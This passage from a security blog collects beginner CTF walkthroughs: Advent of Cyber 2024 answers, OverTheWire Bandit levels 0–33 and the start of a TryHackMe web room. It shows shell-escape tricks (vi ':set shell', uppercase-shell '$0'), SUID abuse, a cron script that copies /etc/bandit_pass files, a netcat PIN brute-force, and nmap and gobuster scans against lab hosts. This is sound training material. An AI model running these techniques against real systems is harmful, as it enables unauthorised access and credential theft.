Mayor Malware typically use to log into AWS?\n53.94.201.69\nQuestion 8: What is McSkidy\u0026rsquo;s actual IP address?\n31.210.15.79\nQuestion 9: What is the bank account number owned by Mayor Malware?\n2394 6912 7723 1294\nQuestion 10: Want to learn more about log analysis and how to interpret logs from different sources? Check out the Log Universe room!\nNo answer needed\nDay-08 Shellcodes of the world, unite!\nLearning Objectives\nGrasp the fundamentals of writing shellcode. Generate shellcode for reverse shells. Execute shellcode with PowerShell. Questions \u0026 Answers Question 1: What is the flag value once Glitch gets reverse shell on the digital vault using port 4444?\nNote: The flag may take around a minute to appear in the C:\\Users\\glitch\\Desktop directory. You can view the content of the flag by using the command \u0026rsquo;type C:\\Users\\glitch\\Desktop\\flag.txt\u0026rsquo;.\n\u0026lt;redacted-flag\u0026gt;\nQuestion 2: Are you interested in learning more about evasion? Take a look at the AV Evasion: Shellcode room.\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/aoc24/days-01-08/","summary":"THM | Advent of Cyber 2024 | Days 01-08","title":"AOC24 | Days 01-08"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nDay: 00\nRoom: Advent of Cyber 2024\nDescription: Dive into the wonderful world of cybersecurity by engaging in festive, beginner-friendly exercises every day in the lead-up to Christmas!\nWelcome to Advent of Cyber 2024 We began by reviewing the introductory sections covering prizes, general rules, qualification criteria, certificates, badges, and guidelines for officially recognized video walkthroughs.\nQuestion-1: I have read the rules and raffle Terms and Conditions.\nNo answer needed\nJoin Our Community This section outlined the various ways to engage with the TryHackMe community, highlighted the advantages of participation, and discussed the motivations for becoming involved.\nQuestion-1: Join our Discord and say hi!\nNo answer needed\nQuestion-2: Is there a dedicated Advent of Cyber channel on TryHackMe Discord where users can discuss daily challenges and receive dedicated support? (yes/no)\nyes\nQuestion-3: Follow us on LinkedIn!\nNo answer needed\nQuestion-4: Follow us on X!\nNo answer needed\nQuestion-5: Check out the subreddit!\nNo answer needed\nQuestion-6: Join us on Instagram!\nNo answer needed\nQuestion-7: Follow us on Facebook!\nNo answer needed\nQuestion-8: Follow our TikTok!\nNo answer needed\nCompleting Advent of Cyber as an Organization This section described TryHackMe for Business, an organizational subscription that provides full access to the platform\u0026rsquo;s content and features, enabling companies to engage their teams in cybersecurity challenges and training exercises.\nQuestion-1: Get your team to work on Advent of Cyber together!\nNo answer needed\nHow to Use TryHackMe The Advent of Cyber event releases daily challenges beginning December 1, with instructions and options for interacting with practical materials. We can deploy an AttackBox virtual machine or connect directly to a target machine, depending on our preference and the task requirements.\nChallenge formats vary in difficulty and offer different connection options, including OpenVPN, direct link, split-screen view, or RDP/SSH/VNC connections.\nQuestion-1: Got it!\nNo answer needed\nHow the Glitch Stole SOC-mas This section introduced the event\u0026rsquo;s narrative: a cybersecurity-themed tale about the town of Wareville\u0026rsquo;s preparations for SOC-mas, where a mysterious hacker known as the Glitch emerges to protect the town from an evil mayor\u0026rsquo;s sinister plans. The story sets the stage for a Christmas-themed cyber adventure beginning December 1.\nWe recommend exploring the engaging, comic-style storytelling in full, as it establishes an exciting premise for the challenges ahead.\nQuestion-1: Sounds serious! I will be here to help the Glitch on December 1st!\nNo answer needed\nSubscribe to TryHackMe with a 30 Percent Discount The Advent of Cyber event is free to participate in, but we can purchase a personal annual subscription at a discounted rate using the code AOC2024 for 30 percent off.\nQuestion-1: Share the discount with your friends!\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/aoc24/day-00/","summary":"THM | Advent of Cyber 2024 | Day 00","title":"AOC24 | Day 00"},{"content":"Challenge Information\nPlatform: OverTheWire\nWarGame: Bandit\nLevels: 25-33\nLevel 25 Objective: Logging in to bandit26 from bandit25 should be fairly easy… The shell for user bandit26 is not /bin/bash, but something else. Find out what it is, how it works and how to break out of it.\nSolution: As always, we begin with reconnaissance \u0026ndash; checking the current directory and user context. This reveals that we have access to bandit26\u0026rsquo;s private SSH key, located in the home directory.\nFollowing the task description, we check which shell bandit26 is using:\ncat /etc/passwd | grep \u0026#34;bandit26\u0026#34; Listing 1 - Checking bandit26's shell configuration Examining the file reveals the following:\n# file /usr/bin/showtext #!/bin/sh export TERM=linux exec more ~/text.txt exit 0 Listing 2 - The showtext binary In essence, upon login, the system runs the more command on text.txt in the home directory rather than spawning a bash shell. Once the file is fully read, the session exits.\nIf we attempt a standard SSH login using bandit26\u0026rsquo;s private key, we are automatically logged out. To prevent this, we must ensure that more cannot display the entire file at once. We accomplish this by resizing the terminal window to a smaller dimension before connecting via SSH.\nOnce trapped in more, we press v to invoke the vi editor, which opens text.txt. Good news: we can resize the window to restore visibility. Bad news: we must also escape vi.\nNormally, we could execute shell commands from vi using :!{command}, but since the shell is still configured to /usr/bin/showtext, we would return to the starting point. To circumvent this, we use the set shell command within vi to specify a different shell:\n# inside the vi editor :set shell=/bin/bash Listing 3 - Configuring the shell inside vi With the shell properly configured, we retrieve the flag:\n# inside the vi editor :!cat /etc/bandit_pass/bandit26 Listing 4 - Running commands inside vi To exit vi and obtain a standard bash shell, we enter :shell.\nLevel 26 Objective: Good job getting a shell! Now hurry and grab the password for bandit27!\nSolution: With a standard shell connection established, reconnaissance reveals an executable named bandit27-do in the home directory. Running it without arguments displays usage information:\n# running the executable ./bandit27-do Run a command as another user. Example: ./bandit27-do id Listing 5 - Contents of the bandit27-do executable Since the SUID bit is set on this binary, we can leverage its elevated privileges to retrieve the next flag:\n./bandit27-do cat /etc/bandit_pass/bandit27 Listing 6 - Using the SUID binary to run elevated commands Level 27 Objective: There is a git repository at ssh://bandit27-git@localhost/home/bandit27-git/repo. The password for the user bandit27-git is the same as for the user bandit27. Clone the repository and find the password for the next level.\nSolution: One solution is to clone the repository to our local machine:\n# on your local machine—clone the repository git clone ssh://bandit27-git@bandit.labs.overthewire.org:2220/home/bandit27-git/repo Listing 7 - Cloning a Git repository Examining the cloned files reveals the next flag inside README.md.\nLevel 28 Objective: There is a git repository at ssh://bandit28-git@localhost/home/bandit28-git/repo. The password for the user bandit28-git is the same as for the user bandit28. Clone the repository and find the password for the next level.\nSolution: We repeat the cloning process from the previous level. Upon examination, README.md contains the following:\n# Bandit Notes\nSome notes for level29 of bandit.\n## credentials\n- username: bandit29\n- password: xxxxxxxxxx\nListing 8 - Notes left behind in the README file No flag is present here. However, the Git logs reveal something interesting:\n# get the git logs git log commit 899ba88df296331cc01f30d022c006775d467f28 (HEAD -\u0026gt; master, origin/master, origin/HEAD) Author: Morla Porla \u0026lt;morla@overthewire.org\u0026gt; Date: ... fix info leak commit abcff758fa6343a0d002a1c0add1ad8c71b88534 Author: Morla Porla \u0026lt;morla@overthewire.org\u0026gt; Date: ... add missing data commit c0a8c3cf093fba65f4ee0e1fe2a530b799508c78 Author: Ben Dover \u0026lt;noone@overthewire.org\u0026gt; Date: ... initial commit of README.md Listing 9 - Potential lead within Git logs The commit message \u0026ldquo;fix info leak\u0026rdquo; suggests that sensitive data was previously exposed. To examine the changes introduced by that commit, we use git show with the appropriate hash:\n# show the commit message and textual diff git show 899ba88df296331cc01f30d022c006775d467f28 commit 899ba88df296331cc01f30d022c006775d467f28 (HEAD -\u0026gt; master, origin/master, origin/HEAD) Author: Morla Porla \u0026lt;morla@overthewire.org\u0026gt; Date: ... fix info leak diff --git a/README.md b/README.md index b302105..5c6457b 100644 --- a/README.md +++ b/README.md @@ -4,5 +4,5 @@ Some notes for level29 of bandit. ## credentials - username: bandit29 -- password: \u0026lt;redacted-flag\u0026gt; +- password: xxxxxxxxxx Listing 10 - Checking applied changes The password is easily recovered by examining the differences between commits. Alternatively, we could have used git diff:\ngit diff 899ba88df296331cc01f30d022c006775d467f28 abcff758fa6343a0d002a1c0add1ad8c71b88534 Listing 11 - Checking differences between commits Level 29 Objective: There is a git repository at ssh://bandit29-git@localhost/home/bandit29-git/repo. The password for the user bandit29-git is the same as for the user bandit29. Clone the repository and find the password for the next level.\nSolution: We clone the repository as in the previous levels. Examining README.md yields:\n# Bandit Notes\nSome notes for bandit30 of bandit.\n## credentials\n- username: bandit30\n- password: \u0026lt;no passwords in production!\u0026gt;\nListing 12 - Cloning the repo and checking the README file No flag is present here. However, the message hints that additional branches may exist. To list all branches, both local and remote, we use the -a flag:\ngit branch -a dev * master remotes/origin/HEAD -\u0026gt; origin/master remotes/origin/dev remotes/origin/master remotes/origin/sploits-dev Listing 13 - Checking Git branches Switching to the dev branch reveals the flag in README.md:\n# change to the dev branch git checkout dev # retrieve the flag cat README.md Listing 14 - Changing branches and reading the flag Level 30 Objective: There is a git repository at ssh://bandit30-git@localhost/home/bandit30-git/repo. The password for the user bandit30-git is the same as for the user bandit30. Clone the repository and find the password for the next level.\nSolution: After cloning the repository, we find no flag in README.md. Examining multiple branches also yields nothing. However, checking the Git tags provides a lead:\n# list the git tags git tag -l secret Listing 15 - Checking Git tags We examine the tag using git show to view the tag message:\ngit show secret \u0026lt;redacted-flag\u0026gt; Listing 16 - Checking the secret tag The tag message contains the password for the next level.\nLevel 31 Objective: There is a git repository at ssh://bandit31-git@localhost/home/bandit31-git/repo. The password for the user bandit31-git is the same as for the user bandit31. Clone the repository and find the password for the next level.\nSolution: As before, we clone the repository and perform reconnaissance. The README.md file describes the task:\nThis time your task is to push a file to the remote repository.\nDetails:\nFile name: key.txt\nContent: \u0026lsquo;May I come in?\u0026rsquo;\nBranch: master\nListing 17 - Instructions within the README file We create the required file and examine .gitignore:\n# create and modify the key.txt file as required echo \u0026#39;May I come in?\u0026#39; \u0026gt; key.txt # check the .gitignore file cat .gitignore *.txt # blocks all txt files Listing 18 - Preparing key.txt and checking .gitignore The .gitignore file blocks all .txt files. We modify it to allow key.txt:\n# allow our key.txt file echo \u0026#39;!key.txt\u0026#39; \u0026gt;\u0026gt; .gitignore Listing 19 - Modifying .gitignore to include key.txt Git requires a username and email for commits. We configure these:\n# configure local git username and email git config user.name \u0026#34;bandit31-git\u0026#34; git config user.email bandit31-git@mail.com Listing 20 - Git configuration Finally, we stage, commit, and push the changes:\n# stage all changed files git add . ... # commit the changes git commit -m \u0026#34;modified .gitignore to allow .txt files; added key.txt as required\u0026#34; ... # push the changes git push ... bandit31-git@bandit.labs.overthewire.org\u0026#39;s password: ... remote: Well done! Here is the password for the next level: remote: \u0026lt;redacted-flag\u0026gt; ... Listing 21 - Uploading local Git changes If performed correctly, the remote server returns the next flag upon completion of the push.\nLevel 32 Objective: After all this git stuff its time for another escape. Good luck!\nSolution: We were initially stuck at this level. After some research, we found a useful walkthrough. Using the same technique:\n# upon login, we are greeted with a welcome message WELCOME TO THE UPPERCASE SHELL # break the uppercase shell with $0 \u0026gt;\u0026gt; $0 ... # retrieve the flag $ cat /etc/bandit_pass/bandit33 \u0026lt;redacted-flag\u0026gt; $ Listing 22 - Breaking the uppercase shell and reading the flag Level 33 Objective: At this moment, level 34 does not exist yet.\nSolution: It is still worth logging in. A README.txt file in the home directory contains the following message:\nCongratulations on solving the last level of this game!\nAt this moment, there are no more levels to play in this game. However, we are constantly working on new levels and will most likely expand this game with more levels soon. Keep an eye out for an announcement on our usual communication channels! In the meantime, you could play some of our other wargames.\nIf you have an idea for an awesome new level, please let us know!\nListing 23 - Goodbye message With this, we successfully complete the Bandit wargame. Kudos to the creators.\n","permalink":"https://onebee.blog/blog/overthewire/bandit/levels-25-33/","summary":"OverTheWire | Bandit Wargame | Levels 25-33","title":"Bandit Wargame | Levels 25-33"},{"content":"Challenge Information\nPlatform: OverTheWire\nWarGame: Bandit\nLevels: 17-24\nLevel 17 Objective: There are 2 files in the home directory: passwords.old and passwords.new. The password for the next level is in passwords.new and is the only line that has been changed between passwords.old and passwords.new.\nNote: If you have solved this level and see Byebye! when trying to log into bandit18, this is related to the next level, bandit19.\nSolution: First, we change the permissions for the SSH private key on our local machine.\n# on local machine chmod 0400 \u0026lt;private-ssh-key-file\u0026gt; Listing 1 - Modifying file permissions Next, we use the key to connect to level 17.\n# on local machine ssh -i \u0026lt;private-ssh-key-file\u0026gt; bandit17@bandit.labs.overthewire.org -p 2220 Listing 2 - Specifying a private key for the SSH connection Once connected, we compare the two files with the diff command to identify the changed line.\ndiff passwords.old passwords.new Listing 3 - Comparing different versions of the same file Level 18 Objective: The password for the next level is stored in a file readme in the home directory. Unfortunately, someone has modified .bashrc to log you out when you log in with SSH.\nSolution: We specify cat as a command to be executed immediately after SSH login, thereby bypassing the forced logout triggered by .bashrc.\nssh bandit18@bandit.labs.overthewire.org -p 2220 cat ./readme Listing 4 - Bypassing automatic logout Level 19 Objective: To gain access to the next level, you should use the setuid binary in the home directory. Execute it without arguments to find out how to use it. The password for this level can be found in the usual place (/etc/bandit_pass), after you have used the setuid binary.\nSUID: \u0026ldquo;Setuid (set user ID) is a Unix-like system permission that allows a file to be executed with the permissions of the file\u0026rsquo;s owner, not the user running it.\u0026rdquo;\nSolution: We run the executable with the set user ID (SUID) bit to read the password file as bandit20 rather than bandit19.\n./bandit20-do cat /etc/bandit_pass/bandit20 Listing 5 - Reading the password file with the setuid binary Level 20 Objective: There is a setuid binary in the home directory that does the following: it makes a connection to localhost on the port you specify as a commandline argument. It then reads a line of text from the connection and compares it to the password in the previous level (bandit20). If the password is correct, it will transmit the password for the next level (bandit21).\nNote: Try connecting to your own network daemon to see if it works as you think.\nSolution: First, we run a Netcat listener in the background on an arbitrary port and pipe the current level\u0026rsquo;s password to it. Then we execute the SetUID binary, which connects to our listener, receives the password, and returns the next level\u0026rsquo;s password.\necho \u0026#34;\u0026lt;bandit20-password\u0026gt;\u0026#34; | nc -l localhost 62333 \u0026amp; ./suconnect 62333 Listing 6 - Connecting with the setuid binary Level 21 Objective: A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.\nSolution: We examine the running cron jobs and observe that cronjob_bandit22 executes a script every minute. Inspecting the script reveals the location of the password.\n# examine the cron job cat /etc/cron.d/cronjob_bandit22 # examine the script executed every minute cat /usr/bin/cronjob_bandit22.sh # retrieve the password; the file location is indicated in the script # (the following is an example of a temporary file that was generated) cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv Listing 7 - Examining the cron job, the executed script, and the password file Level 22 Objective: A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.\nNote: Looking at shell scripts written by other people is a very useful skill. The script for this level is intentionally made easy to read. If you are having problems understanding what it does, try executing it to see the debug information it prints.\nSolution: As before, we examine the cron job and the script it executes. To determine the correct filename, we replicate the commands used in the script to generate the hash, substituting bandit23 for the $whoami variable.\n# examine the cron job cat /etc/cron.d/cronjob_bandit23 # examine the script executed every minute cat /usr/bin/cronjob_bandit23.sh # replicate the commands to generate the filename echo I am user bandit23 | md5sum | cut -d \u0026#39; \u0026#39; -f 1 # retrieve the password from the generated file cat /tmp/8ca319486bfbbc3663ea0fbe81326349 Listing 8 - Cron job, executed script, and obfuscated password filename Level 23 Objective: A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.\nNote-1: This level requires you to create your own first shell-script. This is a very big step and you should be proud of yourself when you beat this level!\nNote-2: Keep in mind that your shell script is removed once executed, so you may want to keep a copy around…\nSolution:\n# examine the cron job cat /etc/cron.d/cronjob_bandit24 # examine the script executed every minute cat /usr/bin/cronjob_bandit24.sh Listing 9 - Examining the cron job and the executed script The contents of the executed script are as follows:\n#!/bin/bash myname=$(whoami) cd /var/spool/$myname/foo || exit 1 echo \u0026#34;Executing and deleting all scripts in /var/spool/$myname/foo:\u0026#34; for i in * .*; do if [ \u0026#34;$i\u0026#34; != \u0026#34;.\u0026#34; -a \u0026#34;$i\u0026#34; != \u0026#34;..\u0026#34; ]; then echo \u0026#34;Handling $i\u0026#34; owner=\u0026#34;$(stat --format \u0026#34;%U\u0026#34; ./$i)\u0026#34; if [ \u0026#34;${owner}\u0026#34; = \u0026#34;bandit23\u0026#34; ]; then timeout -s 9 60 ./$i fi rm -rf ./$i fi done Listing 10 - Contents of cronjob_bandit24.sh As we can see, the script executes and then immediately deletes all scripts (including hidden ones) located in the /var/spool/bandit23/foo/ directory. Therefore, we must create a script that reads the password for bandit24.\nFirst, we create a temporary file where we have ownership permissions. This is where we will store the retrieved password.\n# create a temporary file with owner permissions mktemp # the output provides the path to our temporary file # for example: /tmp/tmp.SfdgYS0COS Listing 11 - Creating a temporary file Next, we navigate to the /var/spool/bandit23/foo/ directory and create our script. A simple example follows:\n#!/bin/bash cat /etc/bandit_pass/bandit24 \u0026gt;\u0026gt; /tmp/tmp.SfdgYS0COS Listing 12 - Script to copy the password After saving the file \u0026ndash; for example, as grabtheflag.sh \u0026ndash; we make it executable.\n# grant execute permissions to all users chmod a+x grabtheflag.sh Listing 13 - Adding executable permissions to the script We then wait briefly (less than sixty seconds) and check our temporary file for the password.\nNote: We must save the script and make it executable quickly, as any script in the directory is deleted every sixty seconds.\nLevel 24 Objective: A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode.\nThere is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing. You do not need to create new connections each time\nSolution: First, we create a temporary directory in which we have ownership rights.\n# create a temporary directory mktemp -d # navigate to the directory cd \u0026lt;your-temp-dir\u0026gt; Listing 14 - Creating a temporary directory We then create a script that generates all possible combinations of the password and four-digit PIN codes.\n#!/bin/bash # password for level 24 password=\u0026#34;\u0026lt;bandit24-password\u0026gt;\u0026#34; # generate all four-digit combinations from 0000 to 9999 for i in {0000..9999} do echo \u0026#34;$password $i\u0026#34; \u0026gt;\u0026gt; passwords.txt done Listing 15 - Generating password and PIN combinations After making the script executable, we run it to generate the combinations.\n# make the script executable chmod a+x \u0026lt;your-script-name\u0026gt; # execute the script ./\u0026lt;your-script-name\u0026gt; Listing 16 - Executing the generation script We then use netcat to open a TCP connection to port 30002 and feed the combinations to the daemon. We redirect the output to a file so we can search for the correct response.\ncat passwords.txt | nc -vN localhost 30002 \u0026gt; output.txt Listing 17 - Submitting combinations to the daemon Finally, we clean up our temporary files.\n# return to the home directory cd /home/bandit24 # remove the temporary directory and its contents rm -rv \u0026lt;your-temp-dir\u0026gt; Listing 18 - Cleaning up temporary files","permalink":"https://onebee.blog/blog/overthewire/bandit/levels-17-24/","summary":"OverTheWire | Bandit Wargame | Levels 17-24","title":"Bandit Wargame | Levels 17-24"},{"content":"Challenge Information\nPlatform: OverTheWire\nWargame: Bandit\nLevels: 09-16\nLevel 09 Objective: The password for the next level is stored in the file data.txt in one of the few human-readable strings, preceded by several = characters.\nSolution: We use the strings command to extract printable characters from the binary file, then pipe the output to grep to locate the password.\n# Extract printable strings and search for patterns with multiple equals signs strings data.txt | grep -E \u0026#39;===+\u0026#39; Listing 1 - Searching for human-readable text patterns Level 10 Objective: The password for the next level is stored in the file data.txt, which contains base64-encoded data.\nSolution: We decode the file using the base64 command with the -d flag.\n# Decode base64-encoded data cat data.txt | base64 -d Listing 2 - Base64 decoding Level 11 Objective: The password for the next level is stored in the file data.txt, where all lowercase (a-z) and uppercase (A-Z) letters have been rotated by 13 positions.\nSolution: We apply a ROT-13 transformation using the tr command to shift each letter by 13 places in the alphabet.\n# Apply ROT-13 transformation cat data.txt | tr \u0026#39;A-Za-z\u0026#39; \u0026#39;N-ZA-Mn-za-m\u0026#39; Listing 3 - ROT-13 decryption with tr Level 12 Objective: The password for the next level is stored in the file data.txt, which is a hexdump of a file that has been repeatedly compressed.\nFor this level it may be useful to create a directory under /tmp in which you can work using mkdir. For example: \u0026lsquo;mkdir /tmp/myname123\u0026rsquo;. Then copy the datafile using cp, and rename it using mv (read the manpages!).\nSolution: First, we reverse the hexdump using xxd -r. Because the file has been compressed multiple times, we then iteratively examine the file with the file command to identify each compression layer and extract accordingly.\nFor example: xxd -r data.txt \u0026gt; /tmp/myname123/data.bin and then file data.bin.\nAlternatively, if the compression layers are known, they can be piped sequentially:\nxxd -r data.txt | gzip --decompress | bzip2 --decompress | gzip --decompress | tar xvO | tar xvO | bzip2 --decompress | tar xvO | gzip -d | cat Listing 4 - Reversing hexdump and decompressing multiple layers Level 13 Objective: The password for the next level is stored in /etc/bandit_pass/bandit14 and can only be read by user bandit14. For this level, you don\u0026rsquo;t get the next password, but you get a private SSH key that can be used to log into the next level.\nNote: localhost is a hostname that refers to the machine you are working on.\nSolution: We copy the private SSH key to our local machine, set the appropriate permissions, and use it to authenticate as bandit14.\nFirst, display and copy the private key:\n# Display the private key cat sshkey.private # Exit the SSH session exit Listing 5 - Copying the private SSH key Next, on our local machine, we restrict the key\u0026rsquo;s permissions and use it to connect:\n# Set restrictive permissions (required for SSH keys) chmod 0400 \u0026lt;sshkey.private\u0026gt; # Connect using the private key ssh -i sshkey.private bandit14@bandit.labs.overthewire.org -p 2220 # Retrieve the password from the protected file cat /etc/bandit_pass/bandit14 Listing 6 - SSH authentication with a private key Level 14 Objective: The password for the next level can be retrieved by submitting the password of the current level to port 30000 on localhost.\nSolution: We use Netcat (nc) to establish a TCP connection to the service and submit the current password.\nnc -vn 127.0.0.1 30000 # or nc -v localhost 30000 # Paste the current level\u0026#39;s password to receive the next password Listing 7 - Connecting to a port with Netcat Level 15 Objective: The password for the next level can be retrieved by submitting the password of the current level to port 30001 on localhost using SSL encryption.\nNote: Getting HEARTBEATING and Read R BLOCK? Use -ign_eof and read the CONNECTED COMMANDS section in the manpage. Next to R and Q, the B command also works in this version of that command…\nSolution: We use the OpenSSL client to connect to the SSL-encrypted service.\nopenssl s_client -connect localhost:30001 -ign_eof # Paste the current level\u0026#39;s password to receive the next password Listing 8 - SSL-encrypted communication with OpenSSL Level 16 Objective: The credentials for the next level can be retrieved by submitting the password of the current level to a port on localhost in the range 31000 to 32000.\nFirst find out which of these ports have a server listening on them. Then find out which of those speak SSL and which don\u0026rsquo;t. There is only 1 server that will give the next credentials, the others will simply send back to you whatever you send to it.\nSolution: First, we scan the port range to identify listening services:\nnmap localhost -p 31000-32000 Listing 9 - Scanning a port range Next, we perform a version scan on the open ports to determine which services use SSL:\nnmap -n localhost -p 31046,31518,31691,31790,31960 -sV --version-light Listing 10 - Service version detection scan Finally, we connect to the SSL-enabled service (port 31790) and submit the password to receive an SSH private key for the next level:\nopenssl s_client -connect localhost:31790 -ign_eof # Paste the current level\u0026#39;s password # Copy the private key that is returned exit Listing 11 - Retrieving credentials via SSL","permalink":"https://onebee.blog/blog/overthewire/bandit/levels-09-16/","summary":"OverTheWire | Bandit Wargame | Levels 09-16","title":"Bandit Wargame | Levels 09-16"},{"content":"Challenge Information\nPlatform: OverTheWire\nWargame: Bandit\nLevels: 01-08\nIntroduction and Configuration Basic idea: Complete level x to advance to level x+1. The general SSH connection syntax follows this pattern, where x represents the current level number:\nSSH Connection Details\nHost: bandit.labs.overthewire.org Port: 2220 Connecting with:\nssh banditx@bandit.labs.overthewire.org -p 2220 Listing 1 - Connecting to the Bandit wargame labs via SSH Initial Connection Objective: The goal of this level is for you to log into the game using SSH. The host to which you need to connect is bandit.labs.overthewire.org, on port 2220. The username is bandit0 and the password is bandit0. Once logged in, go to the Level 1 page to find out how to beat Level 1.\nSolution: After logging in with the provided credentials, we receive a welcome message containing the general game rules and additional useful tips.\n# connect to the lab ssh bandit0@bandit.labs.overthewire.org -p 2220 Listing 2 - Connecting to level 0 via SSH Level 00 Objective: The password for the next level is stored in a file called readme located in the home directory. Use this password to log into bandit1 using SSH. Whenever you find a password for a level, use SSH (on port 2220) to log into that level and continue the game.\nSolution: We display the file contents, copy the flag, and exit the shell. We then use this flag as the password to log into the next level with the username bandit1.\n# print the file to stdout cat readme ... # exit the shell exit Listing 3 - Retrieving the flag Level 01 Objective: The password for the next level is stored in a file called \u0026lsquo;-\u0026rsquo; located in the home directory.\nSolution: We use the dot-slash (./) prefix to specify that the file resides in the current directory, preventing the shell from interpreting the hyphen as a command option.\n# print the file to stdout cat ./- Listing 4 - Flag inside the '-' file Level 02 Objective: The password for the next level is stored in a file called spaces in this filename located in the home directory.\nSolution: We enclose the filename in double (\u0026quot;) or single (\u0026rsquo;) quotation marks to preserve the spaces.\n# print the file to stdout cat \u0026#34;spaces in this filename\u0026#34; Listing 5 - Escaping spaces Level 03 Objective: The password for the next level is stored in a hidden file in the inhere directory.\nSolution: We list the files in the current directory using the -a option to include hidden files (those beginning with a dot).\n# list the files in the current directory (hidden files included) ls -hla ... # change directory cd inhere/ # list the files in the current directory (hidden files included) ls -hla ... # print contents of the hidden file to stdout cat .hidden ... # copy the flag—flag format: (flag)[0-9a-zA-Z]{32} Listing 6 - Hidden files Level 04 Objective: The password for the next level is stored in the only human-readable file in the inhere directory. Tip: if your terminal is messed up, try the \u0026lsquo;reset\u0026rsquo; command.\nSolution: We use the ll command rather than ls -alF. An alias for ll is predefined in the ~/.bashrc file.\n# alias for ll is defined in ~/.bashrc ... alias ll=\u0026#39;ls -alF\u0026#39; ... Listing 7 - Alias for ll The complete terminal interaction follows:\n# list files ll ... # change current directory cd inhere/ # list files ll ... # check the file type for every file in the directory file ./-file0* ... # print the content of the only ASCII text file in the directory cat ./-file07 # grab the flag ... Listing 8 - Flag in human-readable file Level 05 Objective: The password for the next level is stored in a file somewhere under the inhere directory and has all of the following properties:\n- human-readable,\n- 1033 bytes in size,\n- not executable.\nSolution: We use the find command to restrict our search according to the specified criteria.\n# search only in the current directory find . -size 1033c -type f \\! -executable Listing 9 - Searching with specific requirements Level 06 Objective: The password for the next level is stored somewhere on the server and has all of the following properties:\n- owned by user bandit7,\n- owned by group bandit6,\n- 33 bytes in size.\nSolution: As before, we use the find command to narrow our search. We redirect error messages to /dev/null to suppress permission-denied errors.\n# search the entire file system find / -user bandit7 -group bandit6 -size 33c 2\u0026gt;/dev/null Listing 10 - Searching with specific properties Level 07 Objective: The password for the next level is stored in the file data.txt next to the word millionth.\nSolution: We use the grep command to search the file for the keyword.\n# use pipes to redirect output to program input cat data.txt | grep millionth Listing 11 - Searching a file Level 08 Objective: The password for the next level is stored in the file data.txt and is the only line of text that occurs only once.\nSolution: We first sort the output, then filter for unique lines using the uniq command.\n# use pipes to chain multiple commands cat data.txt | sort | uniq -u Listing 12 - Searching a file for unique lines","permalink":"https://onebee.blog/blog/overthewire/bandit/levels-01-08/","summary":"OverTheWire | Bandit Wargame | Levels 01-08","title":"Bandit Wargame | Levels 01-08"},{"content":"Challenge Information\nPlatform: OverTheWire\nWargame: Bandit\nLevels: 00-33\nDescription: The Bandit wargame is aimed at absolute beginners. It teaches the basics needed to play other wargames.\nHigh-Level Summary Level Description 00–04 Basic Linux navigation and command-line skills 05–06 Searching for the password file with find 07–08 Searching for the password within a file 09 Searching for human-readable strings and processing them 10 Working with Base64-encoded data 11 Working with ROT13-encoded data 12 Working with repeatedly compressed and manipulated data 13 Using another user\u0026rsquo;s private SSH key 14–15 Communicating securely with local ports and services 16 Basic port scanning and secure communication with local ports and services 17 File modifications and differences 18 Bypassing the automatic logout feature 19–20 Working with setuid binaries 21–23 Working with scheduled tasks 24 Writing a PIN code brute-forcing script and connecting to a local daemon 25 Breaking out of the Vi text editor 26 Using a binary with SUID permissions for privilege escalation 27–28 Working with Git repositories 29 Working with Git branches 30 Working with Git tags 31 Uploading data to a Git repository 32 Breaking out of the uppercase shell 33 Checking the goodbye message Table 1 - Objectives throughout the different levels Notes Throughout this walkthrough series, the words password and flag are used interchangeably.\nBasic Concept We complete level x to advance to level x+1.\nSSH Connection Details Host: bandit.labs.overthewire.org Port: 2220 The general SSH connection command follows this format, where x represents the current level number:\nssh banditx@bandit.labs.overthewire.org -p 2220 Listing 1 - Connecting to the Bandit wargame labs via SSH","permalink":"https://onebee.blog/blog/overthewire/bandit/introduction/","summary":"OverTheWire | Bandit Wargame | Introduction","title":"Bandit Wargame | Introduction"},{"content":"Challenge Information\nPlatform: TryHackMe\nPath: Web Fundamentals\nRoom: Walking an Application\nDescription: Manually review a web application for security issues using only your browser\u0026rsquo;s developer tools. Hacking with just your browser, no tools or scripts.\nWalking an Application Read the introduction and the brief breakdown of the room. Ensure the virtual machine is started.\nQuestion 1: I confirm that I have deployed the virtual machine and opened the website.\nNo answer needed\nExploring the Website Explore the website and its various directories. To gain a more comprehensive understanding, run Gobuster to discover common directories.\ngobuster dir -u https://10-10-205-27.p.thmlabs.com/ -w /usr/share/dirb/wordlists/common.txt Listing 1 - Directory busting with Gobuster COMMAND DESCRIPTION gobuster Gobuster is a tool used to brute-force URIs, including directories and files, as well as DNS subdomains. OPTIONS DESCRIPTION \u0026lt;command\u0026gt; (dir) Uses directory/file enumeration mode -u / --url string The target URL -w / --wordlist string Path to the wordlist Listing 2 - Gobuster command breakdown Below is the complete terminal interaction in Kali Linux:\nuser@kali:~$ gobuster dir -u https://10-10-205-27.p.thmlabs.com/ -w /usr/share/dirb/wordlists/common.txt ... /assets (Status: 301) [Size: 178] [--\u003e http://10-10-205-27.p.thmlabs.com/assets/] /contact (Status: 200) [Size: 3108] /customers (Status: 302) [Size: 0] [--\u003e /customers/login] /development.log (Status: 200) [Size: 27] /monthly (Status: 200) [Size: 28] /news (Status: 200) [Size: 2538] /private (Status: 301) [Size: 178] [--\u003e http://10-10-205-27.p.thmlabs.com/private/] /robots.txt (Status: 200) [Size: 46] /sitemap.xml (Status: 200) [Size: 1495] ... user@kali:~$ Listing 3 - Potential directory discovery with Gobuster Note that by running a simple directory enumeration, we discovered three folders not listed in the task: /assets, /monthly, and /private.\nIn addition to the directories, several interesting file paths were discovered: /development.log, /sitemap.xml, and /robots.txt.\nIn a penetration-testing scenario, these files could contain valuable information; however, as that is not the objective of this room, we will skip them and proceed to examine the main page in the browser.\nFigure 1: Landing page on target website\nQuestion 1: Read the above.\nNo answer needed\nViewing the Page Source Examine the page source (HTML source code), and follow the instructions in the task to obtain the 